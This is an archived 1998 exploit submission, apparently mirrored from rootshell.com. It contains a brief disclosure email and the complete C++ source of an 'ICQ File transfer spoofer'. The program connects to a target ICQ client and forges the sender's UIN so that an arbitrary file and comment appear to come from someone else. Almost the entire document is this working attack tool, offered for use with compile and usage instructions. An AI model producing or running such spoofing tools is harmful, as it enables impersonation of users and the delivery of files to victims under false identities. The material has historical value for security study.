home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / icq_file_spoofer.txt < prev    next >
Encoding:
INI File  |  1998-07-17  |  14.4 KB  |  607 lines
  1. [from http://www.rootshell.com/ ]
  2.  
  3. Date: Wed, 8 Jul 1998 16:46:11 -0700 (PDT)
  4. From: Eric Hanson <hanser@wwc.edu>
  5. To: info@rootshell.com
  6. Subject: icq file spoofer
  7.       
  8. Here's an original exploit submission.  We've had it for a month or so, and
  9. told the former mirabilis about it, but (unsuprisingly) got no response, so
  10. here you go.
  11.  
  12. -- cut here --
  13.  
  14. /* ICQ File transfer spoofer v.0001 - [ http://www.rootshell.com/ ]
  15.  * by Eric Hanson (hanser@wwc.edu), Sam Fortiner (fortsa@cs.wwc.edu),
  16.  * Hans Buchheim (buchha@cs.wwc.edu), and Richard Patchett
  17.  * (patcri@cs.wwc.edu).
  18.  *
  19.  * This is our first attempt at anything icq related.  It's messy, but it
  20.  * works.
  21.  *
  22.  * To compile: g++ icqfile.cpp -o icqfile
  23.  *
  24.  * Known bugs:
  25.  *   - Doesn't support speed changes (crashes)
  26.  *   - Doesn't work quite right with the Java client
  27.  *
  28.  * Tested with:
  29.  *   - Slackware Linux 2.0.30
  30.  *   - ICQ Version 98a beta, DLL v1.07
  31.  *
  32.  * Copyright (c) 1998
  33.  */
  34.  
  35. #include <stdlib.h>
  36. #include <stdio.h>
  37. #include <unistd.h>
  38. #include <iostream.h>
  39. #include <string.h>
  40. #include <sys/types.h>
  41. #include <sys/socket.h>
  42. #include <netinet/in.h>
  43. #include <netdb.h>
  44. #include <arpa/inet.h>
  45. #include <string.h>
  46. #include <sys/stat.h>
  47. #include <fcntl.h>
  48. #include <sys/types.h>
  49.  
  50. #define VERSION htons(0x0300)
  51. #define COMMAND_SENDFILE htons(0xee07)
  52.  
  53. class ICQPacket
  54. {
  55.  public:
  56.  /* Packet 2 Header */
  57.  __u32 SourceUIN;
  58.  __u16 ICQVersion;
  59.  __u32 Command;
  60.  __u16 CommentLength;
  61.  __u32 SenderIP;
  62.  __u16 SenderPort;
  63.  __u32 Unknown1b;
  64.  __u32 Unknown2b;
  65.  __u32 FileNameLength;
  66.  __u8  Unknown4b;
  67.  __u32 FileSize;
  68.  __u32 Unknown1c;
  69.  __u32 Unknown2c; /* Sender status ?*/
  70.  __u16 FirstHeaderSize = 0x1a;
  71.  __u16 SecondHeaderSize;
  72.  
  73.  __u16 DestinationPort;
  74.  
  75.  char header[] =
  76.   {0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
  77.  char header2[] =
  78.   {0x04, 0x00, 0x00};
  79.  char intPad[] = {0x00, 0x00, 0x00, 0x00};
  80.  char shortPad[] = {0x00, 0x00};
  81.  char charPad[] = {0x00};
  82.  
  83.  char fileName[1024];
  84.  char comment[1024];
  85.  
  86.  void exchangeName( int sock );
  87.  void writePacket( int sock );
  88.  void readResponse( int sock, ICQPacket* pPkt );
  89.  void readNameExchange( int sock, ICQPacket* pPkt );
  90.  void sendFilePreamble( int sock );
  91.  void readFilePreamble (int sock);
  92.  void sendFile( int sock );
  93. };
  94.  
  95. void ICQPacket::writePacket(int sock)
  96. {
  97.  char buffer[65537];
  98.  int offset = 0;
  99.  
  100.  memcpy(buffer, header, 9);
  101.  offset += 9;
  102.  memcpy(buffer + offset, &SourceUIN, sizeof(__u32));
  103.  offset += sizeof(__u32);
  104.  memcpy(buffer + offset, &SenderIP, sizeof(__u32));
  105.  offset += sizeof(__u32);
  106.  memcpy(buffer + offset, &SenderIP, sizeof(__u32));
  107.  offset += sizeof(__u32);
  108.  memcpy(buffer + offset, &SenderPort, sizeof(__u16));
  109.  offset += sizeof(__u16);
  110.  memcpy(buffer + offset, &header2, 3);
  111.  offset += 3;
  112.  
  113.  offset += sizeof(__u16);
  114.  
  115.  memcpy(buffer + offset, &SourceUIN, sizeof(__u32));
  116.  offset += sizeof(__u32);
  117.  memcpy(buffer + offset, &ICQVersion, sizeof(__u16));
  118.  offset += sizeof(__u16);
  119.  memcpy(buffer + offset, &Command, sizeof(__u32));
  120.  offset += sizeof(__u32);
  121.  memcpy(buffer + offset, &SourceUIN, sizeof(__u32));
  122.  offset += sizeof(__u32);
  123.  memcpy(buffer + offset, &ICQVersion, sizeof(__u16));
  124.  offset += sizeof(__u16);
  125.  memcpy(buffer + offset, &CommentLength, sizeof(__u16));
  126.  offset += sizeof(__u16);
  127.  
  128.  memcpy(buffer + offset, comment, strlen(comment));
  129.  offset += strlen(comment);
  130.  buffer[offset++] = 0x0;
  131.  
  132.  memcpy(buffer + offset, &SenderIP, sizeof(__u32));
  133.  offset += sizeof(__u32);
  134.  memcpy(buffer + offset, &SenderIP, sizeof(__u32));
  135.  offset += sizeof(__u32);
  136.  memcpy(buffer + offset, &SenderPort, sizeof(__u16));
  137.  offset += sizeof(__u16);
  138.  memcpy(buffer + offset, &Unknown1b, sizeof(__u32));
  139.  offset += sizeof(__u32);
  140.  memcpy(buffer + offset, &Unknown2b, sizeof(__u32));
  141.  offset += sizeof(__u32);
  142.  memcpy(buffer + offset, &FileNameLength, sizeof(__u32));
  143.  offset += sizeof(__u32);
  144.  memcpy(buffer + offset, &Unknown4b, sizeof(__u8));
  145.  offset += sizeof(__u8);
  146.  
  147.  memcpy(buffer + offset, fileName, strlen(fileName));
  148.  offset += strlen(fileName);
  149.  buffer[offset++] = 0x0;
  150.  
  151.  memcpy(buffer + offset, &FileSize, sizeof(__u32));
  152.  offset += sizeof(__u32);
  153.  memcpy(buffer + offset, &Unknown1c, sizeof(__u32));
  154.  offset += sizeof(__u32);
  155.  memcpy(buffer + offset, &Unknown2c, sizeof(__u32));
  156.  offset += sizeof(__u32);
  157.  
  158.  SecondHeaderSize = offset - FirstHeaderSize - 2;
  159.  memcpy(buffer + 0x1a, &SecondHeaderSize, sizeof(__u16));
  160.  
  161.  write(sock, (void const *)&FirstHeaderSize, sizeof(__u16));
  162.  
  163.  write(sock, (void const *)buffer, offset);
  164.  
  165. }
  166.  
  167. void ICQPacket::exchangeName( int sock )
  168. {
  169.  char local_header[] = {0xff, 0x03, 0x00, 0x00, 0x00};
  170.  char local_header2[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
  171. 0x00};
  172.  char local_header3[] = {0x64, 0x00, 0x00, 0x00};
  173.  
  174.  // local_header3 is the speed in percent (0 - 100)
  175.  // bytes 6 thru 9 of local_header2 is the number of files to send.
  176.  
  177.  char buffer[65537];
  178.  int offset = 0;
  179.  
  180.  FirstHeaderSize = 0x1a;
  181.  
  182.  memcpy(buffer, &local_header, 5);
  183.  offset += 5;
  184.  SenderPort --;
  185.  memcpy(buffer + offset, &SenderPort, sizeof(__u16));
  186.  
  187.  offset += sizeof(__u16);
  188.  offset += 2; // skip over 0x00, 0x00
  189.  
  190.  memcpy(buffer + offset, &SourceUIN, sizeof(__u32));
  191.  offset += sizeof(__u32);
  192.  memcpy(buffer + offset, &SenderIP, sizeof(__u32));
  193.  offset += sizeof(__u32);
  194.  memcpy(buffer + offset, &SenderIP, sizeof(__u32));
  195.  offset += sizeof(__u32);
  196.  memcpy(buffer + offset, &SenderPort, sizeof(__u16));
  197.  offset += sizeof(__u16);
  198.  memcpy(buffer + offset, &header2, 3);
  199.  offset += 3;
  200.  
  201.  SenderPort ++; // set senderport back to actual port
  202.  
  203.  offset += 2;  // skip over rest of file length.
  204.  
  205.  memcpy(buffer + offset, &local_header2, 9);
  206.  offset += 9;
  207.  memcpy(buffer + offset, &FileSize, sizeof(__u32));
  208.  offset += sizeof(__u32);
  209.  memcpy(buffer + offset, &local_header3, 4);
  210.  offset += 4;
  211.  
  212.  // make username equal to UIN
  213.  char userName[1024];
  214.  __u16 userNameLength;
  215.  sprintf(userName, "%i", SourceUIN);
  216.  userNameLength = strlen(userName);
  217.  
  218.  memcpy(buffer + offset, &userNameLength, sizeof(__u16));
  219.  offset += sizeof(__u16);
  220.  memcpy(buffer + offset, &userName, userNameLength);
  221.  offset += userNameLength;
  222.  buffer[offset++] = 0x0;
  223.  
  224.  SecondHeaderSize = offset - FirstHeaderSize - 2;
  225.  memcpy(buffer + 0x1a, &SecondHeaderSize, sizeof(__u16));
  226.  
  227.  write(sock, (void const *)&FirstHeaderSize, sizeof(__u16));
  228.  
  229.  write(sock, (void const *)buffer, offset);
  230.  
  231.  return;
  232. }
  233.  
  234. /* Set up fileName, fileSize,
  235.  * */
  236. void ICQPacket::sendFilePreamble( int sock )
  237. {
  238.  char local_header[] = {0x02, 0x00};
  239.  char local_header2[] = {0x01, 0x00, 0x00}; // file number?
  240.  char buffer[65537];
  241.  __u32 offset = 0, speed = 100, fileNameLength = strlen(fileName) + 1;
  242.  __u32 Unknown1 = 0x0;
  243.  
  244.  memcpy(buffer + offset, &local_header, 2);
  245.  offset += 2;
  246.  memcpy(buffer + offset, &fileNameLength, sizeof(__u16));
  247.  offset += sizeof(__u16);
  248.  memcpy(buffer + offset, &fileName, fileNameLength - 1);
  249.  offset += fileNameLength - 1;
  250.  buffer[offset++] = 0x0;
  251.  memcpy (buffer+offset, local_header2, 3);
  252.  offset += 3;
  253.  memcpy(buffer + offset, &FileSize, sizeof(__u32));
  254.  offset += sizeof(__u32);
  255.  memcpy(buffer + offset, &Unknown1, sizeof(__u32));
  256.  offset += sizeof(__u32);
  257.  memcpy(buffer + offset, &speed, sizeof(__u32));
  258.  offset += sizeof(__u32);
  259.  
  260.  __u16 nextPacketSize = (__u16)offset;
  261.  write(sock, (void*)&nextPacketSize, sizeof(__u16));
  262.  write(sock, (void*)buffer, nextPacketSize);
  263.  
  264. }
  265.  
  266. void ICQPacket::readNameExchange( int sock, ICQPacket* pPkt )
  267. {
  268.  __u16 nextPacketSize;
  269.  int offset = 0;
  270.  int connectionSpeed = 0;
  271.  char constant;
  272.  
  273.  read(sock, (void*)&nextPacketSize, sizeof(__u16));
  274.  
  275.  char *buffer = new char[nextPacketSize];
  276.  if(buffer){
  277.   read(sock, (void*)buffer, nextPacketSize);
  278.  
  279.   memcpy(&constant, buffer + offset, 1);
  280.   offset += 1;
  281.  
  282.   memcpy(&connectionSpeed, buffer + offset, sizeof(__u32));
  283.   offset += sizeof(__u32);
  284.   memcpy(&pPkt->CommentLength, buffer + offset, sizeof(__u16));
  285.   offset += sizeof(__u16);
  286.   memcpy(&pPkt->comment, buffer + offset, pPkt->CommentLength);
  287.   offset += pPkt->CommentLength;
  288.   pPkt->comment[pPkt->CommentLength] = 0x0;
  289.  
  290.   printf("Sending file to %s:", pPkt->comment);
  291.   fflush(stdout);
  292.  
  293.   delete buffer;
  294.  }
  295.  else
  296.   {
  297.    printf("Error allocating buffer in readNameExchange.\n");
  298.   }
  299. }
  300.  
  301. void ICQPacket::readFilePreamble (int sock)
  302. {
  303.  __u16 nextPacketSize;
  304.  __u32 unknown1, unknown2;
  305.  int offset = 0;
  306.  int connectionSpeed = 0;
  307.  char constant;
  308.  
  309.  read(sock, (void*)&nextPacketSize, sizeof(__u16));
  310.  
  311.  char *buffer = new char[nextPacketSize];
  312.  if(buffer){
  313.   read(sock, (void*)buffer, nextPacketSize);
  314.  
  315.   memcpy(&constant, buffer + offset, 1);
  316.   offset += 1;
  317.  
  318.   memcpy(&unknown1, buffer + offset, sizeof(__u32));
  319.   offset += sizeof(__u32);
  320.   memcpy(&unknown2, buffer + offset, sizeof(__u32));
  321.   offset += sizeof(__u16);
  322.   memcpy(&connectionSpeed, buffer + offset, sizeof(__u32));
  323.   offset += sizeof(__u32);
  324.  
  325.   delete buffer;
  326.  }
  327.  else{
  328.   printf("Error allocating buffer in readNameExchange.\n");
  329.  }
  330.  
  331.  
  332. }
  333.  
  334. void ICQPacket::sendFile( int sock )
  335. {
  336.  char *fileBuffer = new char[FileSize];
  337.  unsigned char constant = 0x06;
  338.  int remainingBytes = FileSize, offset = 0;
  339.  __u16 nextPacketSize;
  340.  
  341.  if( fileBuffer )
  342.  {
  343.   int fd = open( fileName, O_RDONLY);
  344.   if ( fd == -1 )
  345.   {
  346.    perror("open in sendFile");
  347.   }
  348.   else
  349.   {
  350.    int status = read( fd, fileBuffer, FileSize );
  351.    if( status == -1 )
  352.    {
  353.     perror("read in sendfile");
  354.    }
  355.    else
  356.    {
  357.     int firstPacket = 1;
  358.     fflush(stdout);
  359.     do
  360.     {
  361.      char b[2051];
  362.      __u16 temp;
  363.  
  364.      if(remainingBytes < 2048)
  365.       nextPacketSize = remainingBytes;
  366.      else
  367.       nextPacketSize = 2048;
  368.  
  369.      if( firstPacket )
  370.      {
  371.       firstPacket = 0;
  372.       temp = nextPacketSize + 1;
  373.       write(sock, &temp, sizeof(__u16));
  374.       b[0] = constant;
  375.       memcpy(&b[1], fileBuffer + offset, nextPacketSize);
  376.       offset += nextPacketSize;
  377.       remainingBytes -= nextPacketSize;
  378.       write(sock, b, nextPacketSize + 1);
  379.      }
  380.      else
  381.      {
  382.       temp = nextPacketSize + 1;
  383.       memcpy(b, &temp, sizeof(__u16));
  384.       b[2] = constant;
  385.       memcpy(&b[3], fileBuffer + offset, nextPacketSize);
  386.       offset += nextPacketSize;
  387.       remainingBytes -= nextPacketSize;
  388.       write(sock, b, nextPacketSize + 3);
  389.      }
  390.      printf(".");
  391.      fflush(stdout);
  392.     } while ( remainingBytes );
  393.  
  394.     printf("\nFile sent.\n");
  395.  
  396.    }
  397.   delete fileBuffer;
  398.   }
  399.  }
  400.  else
  401.  {
  402.   printf("Error allocating memory for fileBuffer in sendFile.\n");
  403.  }
  404. }
  405.  
  406. void ICQPacket::readResponse( int sock, ICQPacket* pPkt )
  407. {
  408.  __u16 nextPacketSize;
  409.  int offset = 0;
  410.  
  411.  read(sock, (void *)&nextPacketSize, sizeof(__u16));
  412.  
  413.  char *buf = new char[nextPacketSize];
  414.  if(buf) {
  415.   __u32 reject;
  416.  
  417.   read(sock, (void *)buf, nextPacketSize);
  418.  
  419.   memcpy(&pPkt->SourceUIN, &buf[offset], sizeof(__u32));
  420.   offset += sizeof(__u32);
  421.   memcpy(&pPkt->ICQVersion, &buf[offset], sizeof(__u16));
  422.   offset += sizeof(__u16);
  423.   if(pPkt->ICQVersion != VERSION)
  424.    printf("Version differences:  target 0x%x, actual 0x%x.\n", VERSION,
  425. pPkt->ICQVersion);
  426.   memcpy(&pPkt->Command, &buf[offset], sizeof(__u32));
  427.   offset += sizeof(__u32);
  428.   offset += sizeof(__u32); // skip over the 2nd UIN
  429.   offset += sizeof(__u16); // skip over the 2nd version
  430.   memcpy(&pPkt->CommentLength, &buf[offset], sizeof(__u16));
  431.   offset += sizeof(__u16);
  432.   memcpy(&pPkt->comment, &buf[offset], pPkt->CommentLength);
  433.   offset += pPkt->CommentLength;
  434.  
  435.  
  436.   memcpy(&pPkt->SenderIP, &buf[offset], sizeof(__u32));
  437.   offset += sizeof(__u32);
  438.   offset += sizeof(__u32); // skip over 2nd IP
  439.   memcpy(&pPkt->SenderPort, &buf[offset], sizeof(__u16));
  440.   offset += sizeof(__u16);
  441.   offset += 3; // skip junk 0x00, 0x00, 0x04
  442.   memcpy(&reject, &buf[offset], sizeof(__u32));
  443.   offset += sizeof(__u32);
  444.  
  445.   if(!reject)
  446.    printf("Connection accepted.\n");
  447.   else
  448.   {
  449.    printf("Connection REJECTED.\n");
  450.    printf("Comment: %s\n", pPkt->comment);
  451.   }
  452.  
  453.   offset += sizeof(__u16); // skip over dest port
  454.  
  455.   offset += sizeof(__u16); // skip 2 bytes 0x00, 0x00
  456.  
  457.   memcpy(&pPkt->FileNameLength, &buf[offset], sizeof(__u16));
  458.   offset += sizeof(__u16);
  459.  
  460.   memcpy(&pPkt->fileName, &buf[offset], pPkt->FileNameLength);
  461.   offset += pPkt->FileNameLength;
  462.  
  463.   offset += sizeof(__u32); // skip 4 bytes 0x00, 0x00, 0x00, 0x00
  464.  
  465.   memcpy(&pPkt->DestinationPort, &buf[offset], sizeof(__u16));
  466.   offset += sizeof(__u16);
  467.  
  468.   delete buf;
  469.  
  470.   if(reject)
  471.    exit(1);
  472.  }
  473.  else {
  474.   printf("Error allocating memory.\n");
  475.  }
  476. }
  477.  
  478.  
  479. int main(int argc, char *argv[])
  480. {
  481.   struct sockaddr_in sin, sout, sin2, sout2;
  482.  struct stat st;
  483.  
  484.  char fileName[1024], comment[1024];
  485.  
  486.  comment[0] = 0;
  487.  
  488.  int sock, x;
  489.  int nameSize;
  490.  int fileSize;
  491.  int sock2;
  492.  
  493.   if (argc != 6)
  494.  {
  495.   printf(" ICQ File Spoofer\n");
  496.   printf("usage: %s ip port SpoofedUIN file \"comment\"\n", argv[0]);
  497.   return (0);
  498.   }
  499.  
  500.  strcpy(fileName, argv[4]);
  501.  if( stat(fileName, &st) != -1)
  502.    {
  503.     fileSize = st.st_size;
  504.    }
  505.  else
  506.   {
  507.    perror("stat");
  508.    exit(1);
  509.   }
  510.  strcpy(comment, argv[5]);
  511.  
  512.  /* make a socket */
  513.  if (!(sock = socket(AF_INET, SOCK_STREAM, 0))) {
  514.   perror("socket");
  515.   return (0);
  516.  }
  517.  
  518.  /* set some stuff up */
  519.  sin.sin_family = AF_INET;
  520.  sin.sin_addr.s_addr = inet_addr(argv[1]);
  521.  sin.sin_port = htons(atol(argv[2]));
  522.  
  523.  /* connect to the victim */
  524.  if (connect(sock, (struct sockaddr*)&sin,sizeof(sin))==-1) {
  525.   perror("connect");
  526.   return (0);
  527.  }
  528.  
  529.  nameSize = sizeof(sockaddr);
  530.  getsockname(sock, (struct sockaddr*)&sout, &nameSize);
  531.  
  532.  /* make our payload */
  533.  x = -1;
  534.  
  535.  ICQPacket pkt, pkt2, pkt3;
  536.  
  537.   pkt.SourceUIN = atoi(argv[3]);
  538.  pkt.ICQVersion = VERSION;
  539.  pkt.Command = COMMAND_SENDFILE;
  540.  pkt.CommentLength = strlen(comment) + 1;
  541.  
  542.  
  543.  pkt.Unknown1b = 0x00040000;
  544.  pkt.Unknown2b = 0x00001000;
  545.  pkt.FileNameLength = htonl(strlen(fileName) + 1);
  546.  
  547.  pkt.Unknown4b = 0x00;
  548.  
  549.  pkt.FileSize = fileSize;
  550.  pkt.Unknown1c = 0x0000;
  551.  pkt.Unknown2c = 0xFFFFFFA0;
  552.  
  553.  strcpy(pkt.fileName, fileName);
  554.  strcpy(pkt.comment, comment);
  555.  
  556.  pkt.writePacket(sock);
  557.  printf("Waiting for acceptance.\n");
  558.  pkt.readResponse(sock, &pkt2);
  559.  
  560.  
  561.   /* make a socket */
  562.  if (!(sock2 = socket(AF_INET, SOCK_STREAM, 0))) {
  563.   perror("socket2");
  564.   return (0);
  565.  }
  566.  
  567.  /* set some stuff up */
  568.  sin2.sin_family = AF_INET;
  569.  sin2.sin_addr.s_addr = inet_addr(argv[1]);
  570.  sin2.sin_port = htons(pkt2.DestinationPort);
  571.  
  572.  /* connect to the victim */
  573.  if (connect(sock2, (struct sockaddr*)&sin2,sizeof(sin2))==-1) {
  574.   perror("connect");
  575.   return (0);
  576.  }
  577.  
  578.  nameSize = sizeof(sockaddr);
  579.  getsockname(sock2, (struct sockaddr*)&sout2, &nameSize);
  580.  
  581.  pkt3.SenderIP = sout2.sin_addr.s_addr;
  582.  pkt3.SenderPort = ntohs( sout2.sin_port );
  583.  pkt3.SourceUIN = atoi(argv[3]);
  584.  pkt3.FileSize = fileSize;
  585.  
  586.  pkt3.exchangeName( sock2 );
  587.  
  588.  pkt3.readNameExchange( sock2, &pkt2 );
  589.  
  590.  pkt3.FileSize = fileSize;
  591.  strcpy(pkt3.fileName, fileName);
  592.  pkt3.sendFilePreamble( sock2 );
  593.  
  594.  pkt3.readFilePreamble( sock2 );
  595.  
  596.  pkt3.sendFile ( sock2 );
  597.  
  598.  close(sock2);
  599.  
  600.   close(sock);
  601.   return (0);
  602. }
  603.  
  604. -- cut here --
  605.  
  606.  
  607.